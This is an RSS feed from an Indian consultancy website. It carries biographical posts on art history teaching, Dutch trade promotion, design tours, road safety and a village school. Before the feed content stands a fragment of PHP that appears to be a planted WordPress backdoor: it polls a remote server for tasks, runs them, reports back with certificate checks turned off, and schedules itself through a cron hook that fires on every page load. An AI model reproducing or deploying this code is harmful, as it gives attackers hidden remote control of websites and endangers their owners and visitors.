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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Danae Consultancy https://danae.in Art, Culture & Business Networking Wed, 22 Apr 2020 18:50:50 +0000 en-GB hourly 1 https://wordpress.org/?v=7.0.4 https://danae.in/wp-content/uploads/2019/08/cropped-GW_Danae-logo-1-32x32.png Danae Consultancy https://danae.in 32 32 The Apprentice https://danae.in/the-apprentice/ Wed, 22 Apr 2020 17:56:18 +0000 http://danae.in/?p=667 Click to read

]]> 4 April 2020 https://danae.in/4-april-2020/ Wed, 22 Apr 2020 17:52:26 +0000 http://danae.in/?p=661 Click to read

]]> Firangi https://danae.in/firangi/ Wed, 22 Apr 2020 17:50:29 +0000 http://danae.in/?p=658 Click to read

]]> Architecture, Art, & Design Tour https://danae.in/tour2019/ https://danae.in/tour2019/#respond Fri, 13 Sep 2019 10:30:53 +0000 http://danae.in/?p=1 Danae is organising an Architecture, Art, & Design tour for students and teachers of Architecture, Art, Design and the Liberal Arts to The Netherlands, Oct 23 – Nov 6, 2019. The tour includes the following:

  • Workshop: 2 day workshop at  HKU University of the Arts, Utrecht
  • Design week: Dutch Design week, Eindhoven 
  • Cycling tour: Rietveld Schröder House
  • Museum visits: Rijksmuseum, van Gogh Museum, Stedelijk Museum, NEMO, Teyler Museum,  Frans Hals Museum, Boymans van Beuningen, Neeltje Jans, Cubus House, Kunsthal
  • Cultural tour: Amsterdam/Volendam

The cost of the tour is 2.5 lacs  (includes airfare, visa, insurance, food, stay, transport, education fees, museum & design week tickets, international student card, and bicycle rentals). Register with Pathfinders holidays latest by sept 10, 2019, Jagruti Thakkar: +91 9978629926 

]]> https://danae.in/tour2019/feed/ 0 Arts & Culture https://danae.in/arts-culture/ https://danae.in/arts-culture/#respond Fri, 13 Sep 2019 10:00:54 +0000 http://danae.in/?p=525 I come from a pretty creative familie. We like to make things, nurture ideas and implement them.

My school books were full of doodles and studying art was a given. Dance and music were encouraged too. So I started Bharatnatyam in the 1 standard, but did not pursue it further due to differences with the teacher. Flute in the school band and guitar later, luckily my son is better at the guitar and songwriting.

After high school, I joined a diploma course in Applied Art, left that incomplete to follow studies in The Netherlands.

Here I apprenticed at the Gallerie Sothmann, where I learnt to be a pretty good commercial restorer of paper prints. Some exotic prints and books have passed through my fingers.

Finally I joined the Rijksuniversiteit van Leiden to pursue my bachelor’s in Archaeology and History of Art, followed by a master’s degree in History of Art.

I have collected books on art just as passionately as I have held photo, painting, music and film shows. Old hand coloured maps were collected via auctions or earned while working at Gallerie Sothmann.

Gujarat has a lot of joint heritage with the Dutch and from 1997, I became involved with the remains. Ensuring they were saved from destruction, supporting restoration projects and doing publicity when and where possible together with state and local governments.

Jazzabad came about by chance and thus I met many world musicians from India and abroad by word of mouth.

YPO WPO Regional meet, Roaring Gujarat came with its complicated and finely detailed program. As program director, it was a feat to get everything right. Managing high income individuals and their families requires quite some creativity and presence of mind and a whole lot of patience.

My involvement with design schools also happened organically and has been an enriching experience too.

A visit to Pakistan on an invitation from musician Mekaal Hasan, opened my eyes to the art, crafts and design education and practitioners there. The beautiful monuments old and new, a look at the joint heritage of the sub continent that is South Asia.

Craft+Design+Society was set up with my inputs end 2015, later it was registered as CDS Art Foundation, I remained active with them till just after the show of 2018. I believe strongly in the ideology with which I participated in this activity to support master crafts-persons in bettering their skill & craft and at the same time producing contemporary products which are relevant and have a global appeal today.

It is important to encourage the youth to participate and manage cultural events. So I support SpicMacay, college cultural fests and such.

]]> https://danae.in/arts-culture/feed/ 0 Teaching https://danae.in/teaching/ https://danae.in/teaching/#respond Fri, 13 Sep 2019 09:41:01 +0000 http://danae.in/?p=442 I have been teaching Art History, Communications, Presentation, Continued Education and other culture related subject at various institutions including the following:

Khyati School of Design

At KSD as senior faculty and mentor. I teach modules which include culture, history of art & design, design thinking and everything to do with life. Thanks to my wife experience with industry I am able to expose the students to a wider knowledge base than a typical design teacher. My class is fun, it’s about discussing student insights on the subject, creating timelines and projects. Discussing history and culture, breaking things down so that clichés are addressed and a more open mind for all that is unknown is accepted.

Unitedworld Institute Of Design, School of Interior Design

In 2017 I was invited to give a guest lecture to the foundation class at UID. The 200+ students had never had a class that spoke to them in a language they understood and encouraged them to experience art and design.

This talk, got me an offer to join the organisation and head the interior design department. I started with interactions with the ID team, understanding their current status, curriculum and teaching methods. Also thesis students submissions provided a clear picture of the existing scenario.

So we decided to upgrade the staff with a certified workshop on a new software. We reorganised the curriculum for SEM 3, making it more hands on and sequential.

When I joined UID, I had just initiated the design competition for Kusters Engineering at NID and could activate students by allowing them to play with the shredded currency. More under the heading Value for Money.

At the same time an opportunity came up to organise a group to visit Maison et Object. So in September we travelled with a group of 13 students and some faculty to Paris for a little over a week. More under the heading Maison et Objet.

In 2017 the new foundation batch was 400+ students, I was instrumental in the induction program, the entrance test process and in their introduction to history. I became quite popular as no one had sung their way and had a fun history class till then. Due to personal differences with the management, I quit just before completing 6 months with the organisation.

CEPT University

Prof. Anne Feenstra, the then Dean of the faculty for Architecture at CEPT had just attended an Archprix event and realised that, though CEPT students put in a lot of work, they were losing out on their presentation and communication skills during jury time. So he invited me to try and see if this could be addressed and improved. So for 3 semesters through 2015-6, I helped the studios that requested for this support for their students. Preparing students of UG and PG studios to get through their jury. I did this with group and personalised interactions with the students improving their communication and presentation skills, building their confidence at public speaking, advising on their story lines and general business etiquette.

During this stint, Archprix was to be held at CEPT Ahmedabad, making it the first time the event was brought to South Asia. I became a part of the fringe program team along with Prof. Gavin Keeney, one of those events was the fashion show by CDS Art Foundation, the other named ‘C’est la CEPT’ at the Badminton Building where CEPT was established first and the third being a Pink Floyd cover concert by the band River.

I had toyed with some of the methods I used in the presentation and communication studios earlier in 2013 when I supported my friend Azhar Tyabji in such a stand alone course that he undertook for the management faculty at CEPT.

I am not sure, but sometime in 2003-5, I taught 2 ellective courses at the School of Interior Design, CEPT. The first session was as replacement for Esther David’s Art Appreciation class, and later I was offered to take a whole session myself, to teach students how to describe and write papers in a proper method. It was discovered that they are not taught how to research and reproduce quotes, etc. with the correct fomatting. How to prepare biliographys, etc. Many of them had not been to a musuem in their lives. Did not understand the importance of the correct terminologies for their vocation.
Jay Thakker invited me as guest lecturer on the histiory of furniture, also at SID CEPT around the same time.

DA-IICT

My job here was to create customized courses for corporate trainings, market & promote them. The contract was for one day a week and we successfully completed 4 programs with several in the pipeline. As part of the strategy an interactive website was to be created for CEP, process streamlining and building confidence with the faculty was my priority. After a year, the contract was not extended.

During my stint here, I also activated the SpicMacay group and organised a Jazzabad show with Saskia Laroo. I hear that nothing like that show had happened before nor after.

Strategies and Smiles Design Research and Development Pvt. Ltd. at NDBI, NID

S&S was a Design Consultancy, not an advertising agency. It provided sustainable, gender sensitive, design strategies and solutions for any kind of businesses. Abhishek Dwivedi, it’s initiator also referred to it as a social enterprise and endeavoured to introduce design for enhancing the quality of life, taking it where it had not been traditionally, esp. in India.

A start up at NDBI, I supported their work while at CERC and later joined them. During that period we were able to score the Create to Inspire fellowship program from Microsoft – GIZ. I was active in the first program and less so during the second round due to health issues.

My task at S&S was to help network the star up and bring in possible projects, ideate, etc.

MICA

In 2016/7 on request of Prof. Falguni Vasavda Oza I addressed 4 online sessions at MICA. It was a new experience where I did not see or hear the attendees, they could only chat with me, however they could see and hear me from wherever it was that they signed in to the class. These sessions were about advertising and marketing.

]]> https://danae.in/teaching/feed/ 0 Value for Money https://danae.in/value-for-money/ https://danae.in/value-for-money/#respond Fri, 13 Sep 2019 09:26:40 +0000 http://danae.in/?p=509 Project: Value for Money Kusters Engineering & NID design competition in 2017.

The idea of the competition was suggested by me briefly over dinner in Nov. 2016 and over the next few months support was provided to Kusters, represented by Ms. Sylvia Laurensse, on taking it forward.Eventually, with my intervention we could get the project formalised in April 17 and launch it for students.

The competition launch was done by the state Chief Minister and representatives of the Reserve Bank of India.

The competition was successfully closed with 3 winners and some worthy recognitions. The jury team from NID included Pradyumna Vyas, Praveen Nahar and Praveensinh Solanki; Amit Sheth along with Sylvia and myself completed the jury. Three elimination rounds were required to finalise the winners.

http://www.keprize.nid.edu/

]]> https://danae.in/value-for-money/feed/ 0 CERC-GiZ https://danae.in/cerc-giz/ Wed, 11 Sep 2019 04:05:36 +0000 http://danae.in/?p=581 I joined the Consumer Education Research Centre in 2012. My tasks were first and foremost to complete the GiZ project that was incomplete since several years. This program was to promote sustainable practices across India. One of the best ways of promoting the information was provided by Strategies and Smiles, a start-up, that I later joined and mentored with.

The second part was to ensure the promotion of the Eco label through online and print matter for the Ministry of Environment, Government of India under the ENVIS program.

]]> Microsoft & GIZ Create to Inspire https://danae.in/microsoft-giz-create-to-inspire/ https://danae.in/microsoft-giz-create-to-inspire/#respond Sun, 08 Sep 2019 10:16:45 +0000 http://danae.in/?p=546

]]> https://danae.in/microsoft-giz-create-to-inspire/feed/ 0 Business Advice & Networking https://danae.in/business-network/ https://danae.in/business-network/#respond Sun, 01 Sep 2019 08:56:04 +0000 http://danae.in/?p=497 There is no greater joy than helping people and bringing them together. To be able to do this well, it is important to collect the right people around you with the same mindset and yet from as varied backgrounds as possible. One has to nurture these relations and grow with them.

Danaë Consultancy can provide advice on the Indian and European markets, where to look, how to look. Where necessary, whom to connect with for that next step. All advice is provided based on experience and inputs gathered from people on the ground.

Though we do refer to published reports, it is prudent to collect information from every angle and come to a realistic conclusion. Market scans, business strategies  & plans, marketing strategies & plans, simple insights over business mentalities and culture.

Advise on how to communicate and even writing that first email or letter. Participation at trade fairs. How to present your company. Organising one-to-one meetings, company and factory visits. Scheduling an effect tour for your company with meetings and visits. Host business meets and networking dinners.

Though it is widely believed that business follows statistics and govt. policies and promotions, the fact remains, that most people do business because they find a spark in the other that meets their own. 

Business is business yet totally about empathy. Trust in each other is based on the person connecting the two. Therefore, the network that has organically evolved over the years and is still expanding is my biggest asset.

Promotion at trade fairs. How to present your company. Organising one-to-one meetings, company and factory visits. Scheduling an effect tour for your company with meetings and visits. Host business meets and networking dinners.

Though it is widely believed that business follows statistics and govt. policies and promotions, the fact remains, that most people do business because they find a spark in the other that meets their own. 

Business is business yet totally about empathy. Trust in each other is based on the person connecting the two. Therefore, the network that has organically evolved over the years and is still expanding is my biggest asset.

]]> https://danae.in/business-network/feed/ 0 Paris Design Week & Maison et Objet https://danae.in/paris-design-week-maison-et-objet/ https://danae.in/paris-design-week-maison-et-objet/#respond Fri, 30 Aug 2019 12:16:26 +0000 http://danae.in/?p=447 In 2017, a friend suggested we could take students to Paris for the Design Week and M&O. I had just joined UID and spoke to the management about this opportunity. Everyone welcomed the idea and we campaigned to get students enrolled asap. Paper work etc. was completed in record time and with our visas in hand we left for Paris with 3 faculty and 13 students.

On our return the students put up a lovely exhibition of their visit and for three days it was open to public. A short video was also made by them on the trip and Paris Design Week.

I visited the Paris police station twice, once for complaining about a stolen iPhone and the second time to provide a statement, as plain clothes police caught a pick pocket red handed while stealing from our student.

All in all, a very educational trip, the students returned with more than just touristic pictures. They were blown away by the sheer size of M&O, the products, services, presentation and global exposure available at such a trade fair. They learnt to interact, ask question and answer people they met.

I believe there is no better way of learning than going out in the world and being exposed, observing & experiencing the way life is lived.

]]> https://danae.in/paris-design-week-maison-et-objet/feed/ 0 Fire, Emergency & Rescue Services https://danae.in/fire-emergency-rescue-services/ https://danae.in/fire-emergency-rescue-services/#respond Fri, 30 Aug 2019 12:14:21 +0000 http://danae.in/?p=445 Ahmedabad was hit by a massive earthquake in the morning of 26th January 2001. It was a national holiday and most people were either hoisting the flag at school or work or relaxing on their day off.

Cordaid had collected a sizeable donation and planned to do some institution building in the state that could respond to emergencies. ICET was to carry out the training and Holmatro was to supply all the training and rescue equipment. A train the trainer program was set up and for the first time, orthopedic doctors (as India did not have first responders service), traffic police and fire & rescue services personnel trained together and understood their protocols in times of emergency.

I attended the command and control workshop and now possess a dated certificate for the same.

During this time I was already active with Road Safety work and understood the relevance of the training the men underwent in Europe.

In our search to locate rescue teams we stumbled upon Lifeline Foundation and became active participants of the trust and the Highway Rescue Project. I am the chairperson of the trusts’ advisory board.

]]> https://danae.in/fire-emergency-rescue-services/feed/ 0 Walking Hand-in-Hand Fashion Show 2016-17-18 https://danae.in/walking-hand-in-hand-fashion-show-2016-17-18/ https://danae.in/walking-hand-in-hand-fashion-show-2016-17-18/#respond Fri, 30 Aug 2019 12:11:52 +0000 http://danae.in/?p=413 In 2016-17-18 we organised fashion shows at various venues in Ahmedabad. The events features some of the leading Indian Designers and crafts men who collaborated and put forth contemporary collections featuring a range of traditional arts and crafts.

“We may breathe a sigh of relief as many crafts considered dead, are still around though, they need a little push to come out of their comfort zones and also walk alongside contemporary products. They must find and claim their rightful place in the chain of manufacturing and production, design and market.”

~ Gauri Wagenaar

]]> https://danae.in/walking-hand-in-hand-fashion-show-2016-17-18/feed/ 0 Netherlands Business Support Office – Gujarat https://danae.in/netherlands-business-support-office-gujarat/ https://danae.in/netherlands-business-support-office-gujarat/#respond Fri, 30 Aug 2019 12:09:32 +0000 http://danae.in/?p=427 My longest stint ever, from 16 Oct 1996 to 16 Oct 2011. This was a pilot project of the Netherlands Embassy in New Delhi and the second such office in the world. The work was an extension of the embassy’s commercial and economic affairs, but also assisted the other departments of Agriculture, Development Cooperation, Culture and Press.

It was the first foreign trade office in Gujarat.

In 2002, we became part of the global network managed out of The Hague, by the EVD.

In 2009 we added the task of promoting higher education to the Netherlands and also set up the Dutch Alumni Association for India.

From 2002 we produced about 20-30 market scans for Dutch companies wanting to trade, export or invest in Gujarat. On an average we supported atleast 1.5 companies that invested per year in Gujarat.

Participation in trade fairs, arranging company & factory visits, lobbying with the local government etc. were some of our tasks. Most importantly doing Holland Promotion.

The two most important projects from this period is the

  1. Philips Medical Systems ORET (Ontwikkelings Relevant Export Transactie) Project. A 40 company consortium (Dutch & Indian) under the leadership of PMS India with a total cost of 200 million Dutch Guilders was carried out after extremely tough and complicated negotiations. The project was the largest healthcare project carried out till date globally and had many innovative features never before included in such projects. An intensive 6-7 months were spent in 1997 by the office in securing this contract.
  2. Cordaid funded, Emergency & Rescue Project, becoming the hands and feet of the Gujarat State Disaster Management Authority.
]]> https://danae.in/netherlands-business-support-office-gujarat/feed/ 0 Jazzabad Club https://danae.in/jazzabad-club/ https://danae.in/jazzabad-club/#respond Fri, 30 Aug 2019 11:21:17 +0000 http://danae.in/?p=429 A movement to bring to Ahmedabad world music in the hope for better understanding of cultures. Though Music has no borders or boundaries it is necessary to experience it for better understanding. All are most welcome to join the club.

Follow Jazzabad Club on Facebook

]]> https://danae.in/jazzabad-club/feed/ 0 Traffic Awareness https://danae.in/traffic-awareness/ https://danae.in/traffic-awareness/#respond Fri, 30 Aug 2019 11:05:09 +0000 http://danae.in/?p=424 The Ahmedabad Traffic Consultative Committee was initiated in 1997 by a group of concerned citizens to create more public awareness about traffic safety and better driving practices. This project also provided a platform for the Ahmedabad Municipal Corporation, The Ahmedabad Traffic Police, The Ahmedabad Road Transport Office, and other concerned city managers.

I chaired the voluntary group until 2012, and also worked as the public relations offices for the Road Safety Academy and the Children’s Traffic Park.

Access the current website of ATCC here.

]]> https://danae.in/traffic-awareness/feed/ 0 Lipi Swap https://danae.in/lipi-swap/ https://danae.in/lipi-swap/#respond Fri, 30 Aug 2019 10:53:25 +0000 http://danae.in/?p=418 Allied Transliterated Hindi-Hindi-English Dictionary (English and Hindi Edition) (Hindi) Hardcover – by H. W. Wagenaar

This project was a Hindi-Transliterated Hindi-English lexicon compilation originally undertaken by myself, and later published as a dictionary by late husband Mr. Hendrik Willem Wagenaar, in 1991. The dictionary was also issued as a CD ROM version by Electroson B.V.

Lipi Swap was a partnership firm which undertook the compilation work. The publication work was done under the banner of Gateway Production BV and later Gateway Productions India Pvt. Ltd. The plan was to create multilingual data bases and compilation for data of Gujarati, Malayalam, Punjabi, etc. were simultaneously being carried out, first in our home in Amsterdam and later in Ahmedabad.

Click her to find it on Amazon

This was followed up as Hindi-Transliterated Hindi-English Dictionary.

]]> https://danae.in/lipi-swap/feed/ 0 JVBS High & GG Pre Primary School https://danae.in/jvbs-high-gg-pre-primary-school/ https://danae.in/jvbs-high-gg-pre-primary-school/#respond Thu, 29 Aug 2019 08:56:15 +0000 http://danae.in/?p=411 I am a trustee of the Shri Umarsadi Vibhag Kelavni Mandal, which is a family run educational trust that has started two schools in Umarsadi, in the Valsad District of South Gujarat, India.

The Jal Vikaji Bhiladwala School (JBVS) was established in 1962 and has been serving the local community in Umarsadi, Gujarat, for over 50 years. JBVS was set up in the memory of Jal Bhiladwala who died in a tragic accident. He was much loved by the local community and to honour his memory they raised a substantial sum of money which they gave to his family. Knowing how committed he was to the welfare of the community, his family started this school for the children of poor farmers and fisher folk of Umarsadi, not far from his home in Killa Pardi and the heritage town of Udwada.

The school is managed by a Trust and many of its past and present members are former students of the school and descendants of the Bhiladwala family. Over time the Trustees of the school have raised funds and in kind donations, locally and globally and have expanded the High School to now include a Pre-primary section and primary school. The Pre-primary section was made possible by a donation from a close friend Adi Khambata’s family and therefore the school has been named after his mother, Gulbai Gandhi Pre Primary School. The Managing trust Shri Umarsadi Vibhag Kelavni Mandal has two schools under its wings – the Jal Vikaji Bhiladwala Smarak High School and the Gulbai Gandhi Pre Primary School.

A total of four building blocks make up the compound with ample land still available to build additional blocks and to be used for sporting activities. The school has a functional computer lab supported by donations from companies updating their own hardware and giving us their older computers. 

The school is located on the edge of the village lake not far from the sea and has a green, cool and calm environment – perfect for learning. The progressive and extremely involved Principal and staff do everything in their power to seed and nurture universal values in our students. Their commitment is so extraordinary that often they themselves raise funds and make personal donations to support students who simply cannot afford the fees. Thanks to their efforts clean and cool drinking water facilities, sanitary napkin dispensers and disposal systems amongst other equipment have been installed.

Click here to follow the school on facebook

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